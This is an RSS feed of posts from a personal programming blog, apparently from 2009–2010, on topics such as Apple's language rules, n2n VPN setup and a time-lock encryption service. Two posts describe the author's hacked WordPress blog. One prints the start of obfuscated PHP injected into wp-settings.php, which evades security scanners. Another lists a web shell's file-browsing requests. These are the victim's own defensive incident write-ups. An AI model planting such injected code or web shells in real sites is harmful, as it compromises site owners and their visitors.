<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ascription is an Anathema to any Enthusiasm &#187; programming</title>
	<atom:link href="http://enthusiasm.cozy.org/archives/category/programming/feed" rel="self" type="application/rss+xml" />
	<link>http://enthusiasm.cozy.org</link>
	<description>Ben Hyde</description>
	<lastBuildDate>Tue, 31 Jan 2012 00:26:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://hub.cozy.org/"/><atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>	<atom:link rel='hub' href='http://enthusiasm.cozy.org/?pushpress=hub'/>
		<item>
		<title>Originally Written?</title>
		<link>http://enthusiasm.cozy.org/archives/2010/04/originally-written</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/04/originally-written#comments</comments>
		<pubDate>Fri, 09 Apr 2010 14:18:50 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[business modeling]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2870</guid>
		<description><![CDATA[I wonder why Apple included the word &#8220;originally&#8221; in &#8220;Applications must be originally written in Objective-C, C, C++, or JavaScript&#8221;? If you are building a platform of unhackable devices then you need to control the gateways to hacking; i.e. the tool chain and the application distribution channel.  So the clause above&#8217;s purpose is to due [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://enthusiasm.cozy.org/wp-content/uploads/2010/04/gardenGate.png"><img class="alignright size-full wp-image-2871" title="gardenGate" src="http://enthusiasm.cozy.org/wp-content/uploads/2010/04/gardenGate.png" alt="" width="187" height="249" /></a>I wonder why Apple included the word &#8220;originally&#8221; in &#8220;Applications must be originally written in Objective-C, C, C++, or JavaScript&#8221;?</p>
<p>If you are building a platform of unhackable devices then you need to control the gateways to hacking; i.e. the tool chain and the application distribution channel.  So the clause above&#8217;s purpose is to due just that; e.g. if you want to hack code to run here you gotta pass thru our interpreters, our compilers.    But they wrote something stronger.  They wrote is that you have to write in language A,B, C, or D.  Only.    Your not allowed to write in language X, Y, or Z &#8211; even if you cross compile X, Y, or Z into A, B, C, or D before you deliver.  I don&#8217;t get it</p>
<p>For clarity: this means you may not write a program in say Python, and then run that program&#8217;s source text thru a Python to C translator before compiling it before submitting for Apple&#8217;s approval.</p>
<p>One of the things that lead me to Lisp was noticing how most of the programs I wrote weren&#8217;t in the language the compilers offered me, but instead we would design a custom language better suited to the task at had.  For example the rule system that drive a compiler&#8217;s optimizations, get <a href="http://www.links.org/?p=880">some delicate thing</a> to work on multiple systems, or the custom notations that <a href="http://nklein.com/2010/03/xml-parser-generator/">generate the object system</a>.  Once I accepted how central that is to software architecture, I wanted a language that respected and encourage that.</p>
<p>I&#8217;m not terribly surprised that Apple has decided to run the audacious experiment of creating a platform that strives for devices are no longer computers once in the hands of the end user.  Devices which the end users can not hack upon.  I think it&#8217;s kind of vile and it worries me that they may succeed, but it doesn&#8217;t surprise me.  I should write another post about how potent such a platform will be if they can sustain it.</p>
<p>They aren&#8217;t the first to go down this path.   It&#8217;s what the locked phones do.  This is what some of the game consoles do.  And I guess if you fully embrace my presumption that the right metaphor for modern websites (aka applications) is that they are massively multi-player games, then it&#8217;s only inevitable that game industries habits would move in the rest of the application stack.</p>
<p>By way of amusement this clause would appear not prevent you from doing a less interesting but still common architectural trick.  I.e. where you write in a dialect of language A, call it A&#8217;; and then cross compile from that into A before running thru their tool chain.  So if you can cast your need for a domain specific language into a dialect then you can sort of wiggle around the restriction.   To my surprise there is an important example of this, <a href="http://code.google.com/p/google-caja/">Caja</a>.  Caja is a dialect of Javascript with some extremely desirable security features.  It&#8217;s used by Yahoo and Orkut (for example) to assure that third party widgets are tightly constrained in the damage or snooping they can do to other portions of the web page.</p>
<p>And I guess there is always C++; you can do some very wonky things at compile time in C++.</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/04/originally-written/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>n2n</title>
		<link>http://enthusiasm.cozy.org/archives/2010/03/n2n</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/03/n2n#comments</comments>
		<pubDate>Thu, 18 Mar 2010 17:47:52 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2846</guid>
		<description><![CDATA[n2n is a nice peer to peer vpn. Here are some hints, mostly so I’ll remember them. There is a minor bit-o-confusion on the Macintosh. The edge nodes all use tun devices, rather than real ethernet devices, to plug in. You’ll need to install tun devices by hand. Then these devices will not show up [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ntop.org/n2n/">n2n</a> is a nice peer to peer vpn. Here are some hints, mostly so I’ll remember them.</p>
<p>There is a minor bit-o-confusion on the Macintosh. The edge nodes all use tun devices, rather than real ethernet devices, to plug in. You’ll need to install tun devices by hand. Then these devices will not show up in the various System Preferences. Don’t worry about that.</p>
<p>The n2n processes (both edge and supernode) will report status via UPD if you poke a UPD packet into at 127.0.0.1:5645  (aka localhost:5645) as so:</p>
<pre><code>
$ echo """" | ncat --idle-timeout 1s --udp localhost 5645
----------------
uptime    1212
edges     2
errors    0
reg_sup   21
reg_nak   0
fwd       0
broadcast 76
last fwd  25 sec ago
last reg  5 sec ago
Ncat: Idle timeout expired (1000 ms).
$
</code></pre>
<p>You will probably need to install ncat, which is part of nmap.</p>
<p>Each edge node in an n2n community’s pseudo ethernet needs a MAC address. Analagous to private IP addresses there are private MAC addresses. This mess will gin up a stable MAC address for your edge node based on the first mac address found on your machine.</p>
<pre><code>
N2N_FAKE_MAC=`ifconfig -a | awk '/ether/{print $2}' | head -1 | sed 's/^..:..:../10:00:00/'`
</code></pre>
<p>If you want an edge node to route all traffic thru you community’s VPN and then out to the rest of the network you need to do two things. Some edge node needs to volunteer to act as a gateway and each client that wants to use that gateway needs to configure their routing appropriately.</p>
<p>First, gateways typically run natd. Happily on the Mac you need only enable internet sharing in the sharing control panel to get that going.</p>
<p>Secondly, edge nodes that want to route over the VPN and out that gateway to the rest of the internet will then need to mess with their routing tables. That’s risky; mess up your routing table and you lose connectivity. You can find out what the default route for packets is by asking:</p>
<pre><code>
route -n get default
</code></pre>
<p>Note the result down since you’ll need it to switch back.</p>
<p>You can change the default route by doing (presume for a moment that your gateway node is running at 192.168.13.1):</p>
<pre><code>
route change default 192.168.13.1
</code></pre>
<p>But wait; that will break your N2N vpn, because your traffic to your peers will try to flow thru the new default.  So you need to add specific routes to the supernodes and other edge nodes first.  I don&#8217;t know how to get the list of edges; so I set them up by hand. </p>
<p>You switch back by resetting you default route, and tearing down the one off routes to other n2n nodes.  Of course if, all else fails, reboot. Your on your own.</p>
<p>You can see the entire routing table by doing: “netstat -nr“.</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/03/n2n/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scraping Etsy Seller&#8217;s Sales Data</title>
		<link>http://enthusiasm.cozy.org/archives/2010/01/scraping-etsy-sellers-sales-data</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/01/scraping-etsy-sellers-sales-data#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:09:00 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/archives/2010/01/scraping-etsy-sellers-sales-data</guid>
		<description><![CDATA[Your troubles are over, but only on the vanishingly small chance your household has both a Lisp programmer and an Etsy seller who&#8217;s tax prep is being frustrated by the Etsy seller tools for downloading all sales data. &#160; This ugly code will scrap the sales data.]]></description>
			<content:encoded><![CDATA[<p>Your troubles are over, but only on the vanishingly small chance your household has both a Lisp programmer and an Etsy seller who&#8217;s tax prep is being frustrated by the Etsy seller tools for downloading all sales data. &nbsp; <a href="http://paste.lisp.org/display/93943">This ugly code</a> will scrap the sales data.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=5c607820-1758-8eb9-bd81-1459d193811a" /></div>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/01/scraping-etsy-sellers-sales-data/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog Hack &#8211; a bit more info.</title>
		<link>http://enthusiasm.cozy.org/archives/2010/01/blog-hacks-a-bit-more-info</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/01/blog-hacks-a-bit-more-info#comments</comments>
		<pubDate>Wed, 20 Jan 2010 00:59:14 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[via-postie]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2751</guid>
		<description><![CDATA[The security team at my ISP (dreamhost) found yet more infection in my blog.  The appearance of a wordpress blog can vary by installing different themes.  In the directory of one of these themes they found a file containing tool for giving a remote user a shell prompt (there is a version of the script here). [...]]]></description>
			<content:encoded><![CDATA[<p>The security team at my ISP (dreamhost) found yet more <a href="http://enthusiasm.cozy.org/archives/2010/01/argh-blog-hacked">infection in my blog</a>.  The appearance of a wordpress blog can vary by installing different themes.  In the directory of one of these themes they found a file containing tool for giving a remote user a shell prompt (there is a version of the script <a href="http://j.mp/6jK9Ai">here</a>).   The theme in question is not a standard wordpress theme; it is a variant I wrote up a while back.  I used it for a while a long time ago.  Which means the URL to access this was obscure.</p>
<div>I only retain logs for a month.  But on Jan 13th <a href="http://www.ip2location.com/84.3.40.172">84.3.40.172</a> pulled it once; notably that visit didn&#8217;t include a user agent making me think it was only enqueuing me for futher work.</div>
<div>On the 14th   <a href="http://www.ip2location.com/86.106.170.114">86.106.170.114</a> came to visit (his user agent string was &#8220;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5&#8243;) and he proceed to:</div>
<blockquote style="margin: 0 0 0 40px; border: none; padding: 0px;"><p>&#8230;php<br />
&#8230;php?d=/home/&lt;myusername&gt;/enthusiasm.cozy.org/<br />
&#8230;php?d=/home/&lt;myusername&gt;/enthusiasm.cozy.org/&amp;ef=wp-settings.php&amp;edit=1<br />
&#8230;php?d=/home/&lt;myusername&gt;/enthusiasm.cozy.org/&amp;ef=wp-settings.php&amp;edit=1<br />
&#8230;php?d=/home/&lt;myusername&gt;/enthusiasm.cozy.org/&amp;e=wp-settings.php<br />
&#8230;php?d=/home/&lt;myusername&gt;/<br />
&#8230;php?d=/home/</p></blockquote>
<div>I assume that last step was to check if other users on the server might happen to have left their directories unprotected.</div>
<div>My current somewhat baseless guess is that this has been infecting my installation since April of 2008.   So, it is not unlikely that I brought the infection with me when I moved to Dreamhost in Oct 2008.</div>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/01/blog-hacks-a-bit-more-info/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Argh, Blog Hacked</title>
		<link>http://enthusiasm.cozy.org/archives/2010/01/argh-blog-hacked</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/01/argh-blog-hacked#comments</comments>
		<pubDate>Mon, 18 Jan 2010 02:31:04 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2749</guid>
		<description><![CDATA[This blog uses WordPress plus a very few plugins.   That&#8217;s built on PHP.  So, it&#8217;s just asking for trouble. Today one of my many fans, i.e. my wife, noted that my RSS feed wasn&#8217;t working.   I&#8217;m a professional, so I provided the Guild&#8217;s standard response: &#8220;Works for me.&#8221;   Actually it wasn&#8217;t working [...]]]></description>
			<content:encoded><![CDATA[<p>This blog uses WordPress plus a very few plugins.   That&#8217;s built on PHP.  So, it&#8217;s <a href="http://www.links.org/?p=175">just asking for trouble</a>.</p>
<p>Today one of my many fans, i.e. my wife, noted that my RSS feed wasn&#8217;t working.   I&#8217;m a professional, so I provided the Guild&#8217;s standard response: &#8220;Works for me.&#8221;   Actually it wasn&#8217;t working for the desktop blog reading software she uses, while it was working for my desktop blog reader.   Finally run the RSS validator on it which announces there is a &lt;script&gt; tag in the feed.  Eh, what! I don&#8217;t see that doing view source in my browser.  Hm.</p>
<p>Finally I pull the feed with curl and that version has the problem.   Prepended on the RSS feed is a script that while compressed and obfuscated.   The obfuscation means it&#8217;s got lot of unique tokens in it, i.e. CeHxprJ, lJeVYuCF, UYwXC, and google finds a copy of the script here: http://pastebay.com/82974  but, that link has disappeared, presumably because that paste bot has a setting that will discard postings after 24 hours.</p>
<p>The infection in my blog was in wp-settings.php.  A second &lt;php&gt; block had been inserted at the front of the file.  That injected the script into every page, not just the RSS feed.  Here&#8217;s the start of that code.   As you can see it isn&#8217;t injected into every page; only certain browsers and then only if there aren&#8217;t any cookies yet.  That explains why I didn&#8217;t see it in my browser and I assume how &#8220;generous in what they accept&#8221; RSS readers explains why which people were getting my posts.<code><br />
</code></p>
<p><code> </code></p>
<p><code></p>
<blockquote style="margin-left: 0px; margin-right: 3em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 2em;">
<div id="_mcePaste">
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">@ob_start();</div>
<div id="_mcePaste">@error_reporting(0);</div>
<div id="_mcePaste">if(!preg_match(‘/googlebot|bot|yahoo|slurp|msnbot|slurp|spider|malware|virus|checker|baidu|wordpress|verifier|robot|scanner|nutch|antivir|mcafee|zeus|tracker|abuse|blacklist|zeus|norton/i’, $_SERVER['HTTP_USER_AGENT']) &amp;&amp; strlen($_SERVER['HTTP_USER_AGENT'])&gt;5 &amp;&amp; sizeof($_COOKIE)==0) {</div>
<div id="_mcePaste">print “&lt;script&gt;function CeHxprJ(){if (navigator.userAgent.indexOf(\”MSIE\”)&gt;0) return document.body.clientWidth*document.body.clientHeight;else return window.outerWidth*window.outerHeight;}if(CeHxprJ()&gt;100000){function anrLazGcj(tLJVMwsZte){ alert(‘lJeVYuCF’); }  …etc…</div>
</div>
</blockquote>
<p></code><br />
I removed it.  All the rest of the php files had md5 checksums that match the distribution of wordpress 2.9.1.   Of course I am, presumably, still vulnerable to what ever infected the blog to begin with.</p>
<p>Bleck.</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/01/argh-blog-hacked/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Postie</title>
		<link>http://enthusiasm.cozy.org/archives/2010/01/postie</link>
		<comments>http://enthusiasm.cozy.org/archives/2010/01/postie#comments</comments>
		<pubDate>Sat, 16 Jan 2010 18:53:36 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[via-postie]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2744</guid>
		<description><![CDATA[I&#8217;m inordinately happy to have finally puzzled out how to enable posting to my blog via email.  The last few times I&#8217;d tried to get this to work something or another ruined my fun. WordPress tempts you into thinking that you can post by email.  But the built in mechanism is flawed in enough ways to [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align: left;"><img style="float: right;" src="http://enthusiasm.cozy.org/wp-content/uploads/2010/01/lame.jpg" alt="" width="121" height="120" />I&#8217;m inordinately happy to have finally puzzled out how to enable posting to my blog via email.  The last few times I&#8217;d tried to get this to work something or another ruined my fun.</p>
<p>WordPress tempts you into thinking that you can post by email.  But the built in mechanism is flawed in enough ways to make it dead to me.  E.g. &#8211;  can only handle simple mail formats, it can only hand unencrypted POP3, and finally didn&#8217;t work at all.</p>
<p>But, happy day the <a href="http://wordpress.org/extend/plugins/postie/">wordpress plugin Postie works</a> for me.</p>
<p>It&#8217;s a bit complex to get all the toggles set right.  For example I rarely send email in rich text format, but in this case it&#8217;s worth it since the converter will handle all the <strong>formating</strong>.  Including images.  Floating images!</p>
<p>WordPress tries hard, but the image editing is really too tedious, and its editor is fine; but not as good as the one in my mail program.  And, my mail program there has grammar checking.</p>
<p><img style="float: left;" src="http://enthusiasm.cozy.org/wp-content/uploads/2010/01/pastedGraphic17.png" alt="" width="55" height="38" />Getting all the settings right is delicate.  By default you need to email from the same account you WordPress user id is associated with.  And, you may need to change the email address associated with your admin account for that to work; since I assume it picks the first account it finds.   You will want to check that your blog knows what time zone it&#8217;s in, that&#8217;s on the general WordPress settings page.  There is also a setting in Postie, but fix the blog&#8217;s setting first.   It helped to toggle the &#8220;preferred text type&#8221; in the postie message settings to &#8220;html.&#8221;  And you&#8217;ll need <a href="http://email.about.com/od/freeemailreviews/tp/free_email.htm">yet another email account</a>.</p>
<p>Initially I had all the email originated postings filed under &#8220;drafts,&#8221; and I recommend that until you think you have all the bugs worked out.  But, I&#8217;m somewhat sad admit, I still fiddle with the final result by hand.  In particular it isn&#8217;t quite getting the paragraph breaks right.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2010/01/postie/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hiding the cursor++</title>
		<link>http://enthusiasm.cozy.org/archives/2009/12/hiding-the-cursor</link>
		<comments>http://enthusiasm.cozy.org/archives/2009/12/hiding-the-cursor#comments</comments>
		<pubDate>Tue, 08 Dec 2009 17:28:40 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2594</guid>
		<description><![CDATA[Back in the day I used to write code for graphic user interfaces.   If you write code like that you develop a eye for details that hopefully are invisible to other folks.  For example I happen to know that when you typing the mouse cursor is hidden and then later when you move the [...]]]></description>
			<content:encoded><![CDATA[<p>Back in the day I used to write code for graphic user interfaces.   If you write code like that you develop a eye for details that hopefully are invisible to other folks.  For example I happen to know that when you typing the mouse cursor is hidden and then later when you move the mouse the cursor reappears.  If the mouse cursor doesn&#8217;t disappear when I&#8217;m typing it causes a bit of cognitive dissonance.</p>
<p>Since I did that kind of work starting in college and then very intensely for the years after the Macintosh was released I&#8217;ve had the fun of watching as people tried every possible variation of how they might make a UI work.   I think that search space is pretty well mined out.   Stuff is rediscovered all the time.  Rarely somebody stumbles on a new idea.  Most of the time the computers get faster so things become possible that were just too slugish to do before.</p>
<p>In recent years as I&#8217;ve become interested in how we manage our attention I&#8217;ve become increasingly interested in UI schemes that help with that problem.  I&#8217;m a huge fan of <a href="http://lab.arc90.com/experiments/readability/">Readablity</a>, a bookmarklet that attempts to glean out only the text you want to read from your web page.  And I like the hack for the Mac <a href="http://www.macupdate.com/info.php/id/15844/spirited-away">Spirited Away</a> that automatically hides applications that have fallen into the background on the desktop for some period.  I desperately wish I could find a similar hack that would replace, on demand, the entire screen with the content area (and only the content) of the topmost window.</p>
<p>Those are all examples of hide the clutter when I&#8217;m doing something, and they are directly analogous to the hide the cursor when I&#8217;m typing.   There is a dirth of good schemes for automatically hiding when I&#8217;m reading.</p>
<p>Anyhow the new scheme that Google recently deployed of hiding the clutter on their homepage until you move the mouse pointer is, amusingly, a direct extension of the hide the standard mouse pointer when typing (and he is typing right?).   My silly brain screamed out &#8220;bug!&#8221; when I first saw this; complete with a diagnosis that the code for mouse pointer hiding was hiding too much stuff.  The same part of my brain then tried to puzzle out how code got the clutter into the top most overlay which includes the mouse cursor.</p>
<p>Who knows?  Maybe it will become standard practice to hide other clutter, in addition to the mouse pointer, upon typing.</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2009/12/hiding-the-cursor/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Craft of Software Management</title>
		<link>http://enthusiasm.cozy.org/archives/2009/12/craft-of-software-management</link>
		<comments>http://enthusiasm.cozy.org/archives/2009/12/craft-of-software-management#comments</comments>
		<pubDate>Sat, 05 Dec 2009 18:21:55 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[business modeling]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2571</guid>
		<description><![CDATA[Nice list&#8230; Continuous deployment. Tell a good change from a bad change quickly Revert a bad change quickly Work in small batches (at IMVU, large batch = 3 days worth of work) Break large projects down into small batches Have a cluster immune system Run tests locally. Everyone gets a complete sandbox Continuous integration server [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://entrepreneurs-journal.blogspot.com/2009/11/eric-ries-on-lean-start-ups-mit-talk-on.html">Nice list</a>&#8230;</p>
<ul>
<li>Continuous deployment.</li>
<li>Tell a good change from a bad change quickly</li>
<li>Revert a bad change quickly</li>
<li>Work in small batches (at IMVU, large batch = 3 days worth of work)</li>
<li>Break large projects down into small batches</li>
<li>Have a cluster immune system</li>
<li>Run tests locally. Everyone gets a complete sandbox</li>
<li>Continuous integration server &#8211; tests to ensure all features that worked before still works</li>
<li>Incremental deploy &#8211; reject changes that move metrics out of bounds</li>
<li>Alerting and predictive monitoring &#8211; wake somebody up if metric goes out of bounds. Use historical trends to predict acceptable bounds.</li>
<li>Conduct rapid split tests: A/B testing is key to validating hypotheses</li>
<li>Follow the AAAs of metrics: actionable, accessible and auditable</li>
</ul>
<p>But for heaven sakes!  Nothing on this list is particularly insightful or new.  All these things were true in 1980.  Have we learned nothing?  Is the schooling around software development so weak that these are news to people?  This list ignores the much more fundamental question of when those rules get broken.  Hint: about half your time will be spent in that state.  But what&#8217;s key is knowing when that is a good witch v.s. a bad witch.  The only customer/user input or feed back loop in that list is A/B testing.  That is particularly bogus!</p>
<p>Feeling cranking.   The old joke for the 1970s about the software industry:  &#8221;I am blessed to have stood on the toes of giants!&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2009/12/craft-of-software-management/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How Complex Systems Fail</title>
		<link>http://enthusiasm.cozy.org/archives/2009/12/how-complex-systems-fail</link>
		<comments>http://enthusiasm.cozy.org/archives/2009/12/how-complex-systems-fail#comments</comments>
		<pubDate>Fri, 04 Dec 2009 16:38:10 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[power-laws and networks]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2576</guid>
		<description><![CDATA[This is very good: How Complex Systems Fail (pdf) &#8211; hat tip to John Allspaw via his blog.   I particularly like the swipe at root cause analysis.   This is a nice complement to the wonderful book Normal Accidents, which I mention here. Update: via @gully this cartoon is great too, I&#8217;ve added one frame [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://enthusiasm.cozy.org/wp-content/uploads/2009/12/pastedGraphic.png"><img class="alignright size-full wp-image-2580" title="pastedGraphic" src="http://enthusiasm.cozy.org/wp-content/uploads/2009/12/pastedGraphic.png" alt="pastedGraphic" width="307" height="146" /></a>This is very good: How Complex Systems Fail (<a href="http://www.ctlab.org/documents/How%20Complex%20Systems%20Fail.pdf">pdf</a>) &#8211; hat tip to <a href="http://www.kitchensoap.com/2009/11/12/how-complex-systems-fail-a-webops-perspective/">John Allspaw</a> via <a href="http://www.kitchensoap.com/">his blog</a>.   I particularly like the swipe at root cause analysis.   This is a nice complement to the wonderful book Normal Accidents, which I mention <a href="http://enthusiasm.cozy.org/archives/2005/07/robust-scalefree-networks">here</a>.</p>
<p><strong>Update</strong>: via <a href="http://twitter.com/gulley">@gully</a> <a href="http://www.ctlab.org/documents/BriefLookAtTheNewLookVerAA.doc.pdf">this cartoon</a> is great too, I&#8217;ve added one frame here as an illustration</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2009/12/how-complex-systems-fail/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Self Binding Service</title>
		<link>http://enthusiasm.cozy.org/archives/2009/11/self-binding-service</link>
		<comments>http://enthusiasm.cozy.org/archives/2009/11/self-binding-service#comments</comments>
		<pubDate>Sun, 22 Nov 2009 16:07:11 +0000</pubDate>
		<dc:creator>bhyde</dc:creator>
				<category><![CDATA[pico economics]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://enthusiasm.cozy.org/?p=2563</guid>
		<description><![CDATA[Arising from my interest in impulse control, hyperbolic discounting, and will power I have been nursing an interest in how people enforce their personal rules.   Say you wish to promise to go to bed at 10pm, or not to drink before 5pm, or to save 10% of your income, or call your mom once [...]]]></description>
			<content:encoded><![CDATA[<p>Arising from my interest in impulse control, hyperbolic discounting, and <a href="http://enthusiasm.cozy.org/archives/2009/04/will-power">will power</a> I have been nursing an interest in how people enforce their personal rules.   Say you wish to promise to go to bed at 10pm, or not to drink before 5pm, or to save 10% of your income, or call your mom once a week what tools exist to help you keep those promises.  The literature highlights the amusing point that you can&#8217;t write contracts with your self as the counter party and then expect to have recourse to the courts when you break those contracts.</p>
<p>If you keep your eyes open you will notice assorted tools for self binding.  To do lists, reminder services, and date books are simple examples.  There are software applications that will lock out your internet access.  There are savings plans that include a penalty for early withdrawal.   <a href="http://enthusiasm.cozy.org/archives/2006/10/self-binding">In Arizona</a> you can sign onto a list that requires the casino to deny you access.</p>
<p>Some of the promise keeping aids involve enlisting a third party.  There is a horrible scheme that addicts fall into where they enlist a friend and license him to punish them in some awful manner if they break their promise.   For example they might write a letter which will ruin their professional life if revealed and then give it to the third party.   Once you introduce the third party there is all kinds of risk for abuse.  The third party might extract a promise from a victim during an irrational moment by coercion.  A light weight example of that is how the salesman at the health club pressures customers into signing up for a subscription.   And then, there are chastity belts.</p>
<p>Some of these promise or binding technologies are designed to remove the temptation entirely.  For example: living in the dry town, never buying the liquor, and avoiding the pub.  And those come in degrees &#8211; for example moving the ice cream to the back of the freezer.</p>
<p>I&#8217;ve been stewing on what might be the lightest weight service a third party could offer to help individuals with this class of problems.  And I have a theory.  It&#8217;s based on the time-lock example used for bank vaults.  In that case the bank want&#8217;s to remove any possibility of opening the vault for some period of time &#8211; usually while the bank is closed.   While obviously the bank&#8217;s intent is to keep criminals from stealing their money they actually promise not to open the vault under any circumstances.  They are self binding.   They could of locked the vault with a one time password and given it to a trusted officer of the bank.   They don&#8217;t trust themselves.   Apparently the only thing they trust is the people who built the vault.  It&#8217;s interesting that if you look at pictures of these time locks they are usually in transparent cases so anybody can visually inspect the mechanism.  They are over engineered and simple which encourages that inspection.</p>
<p>Say you wanted to lock up a present for christmas day.   You put it in a safe, put it under the tree, and christmas morning you hand the key to the recipient.  But what if you want to wrap up a present for yourself and you don&#8217;t trust yourself not to open it too soon.  Now what?  You could ask the help of a friend, but that&#8217;s got other complications.  Can you solve this problem without a third party?   You could if you could buy a time-lock.   I&#8217;d love to know of a vendor.  I&#8217;ve not found one.   I find that bizarre; surely there are lots of people who&#8217;d like to lock things overnight etc.</p>
<p>Anyhow, I&#8217;ve built one for you.   It&#8217;s based on a bit-o-crypto.  You lock up things up by encrypting them, and later when the timer runs out you can decrypt them.   Frustratingly this does involve a third party, my little service.   You get the means to encrypt by going to the service, and later once the timer has run out, you go back to get the means to decrypt.   This depends on public/private keys.  You use the public key to encrypt and the private key to decrypt.</p>
<p>For example say you want to make it much harder to play that damn addictive video game until next tuesday.  You go grab the public key for next tuesday and lock away the damn game by encrypting it.   Next tuesday, or sometime after, you go grab the private key and decrypt the stupid game.</p>
<p>Of course this requires that you trust me to keep the service running and not loose the keys it gin&#8217;d up.  I wouldn&#8217;t recommend trusting me, yet.  For example I really haven&#8217;t tested it much <img src='http://enthusiasm.cozy.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Here&#8217;s the service <a href="http://hang-on.appspot.com/">http://hang-on.appspot.com/</a>.   I&#8217;d love to hear suggestions for things to do with this, or ways to improve it.</p>
]]></content:encoded>
			<wfw:commentRss>http://enthusiasm.cozy.org/archives/2009/11/self-binding-service/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

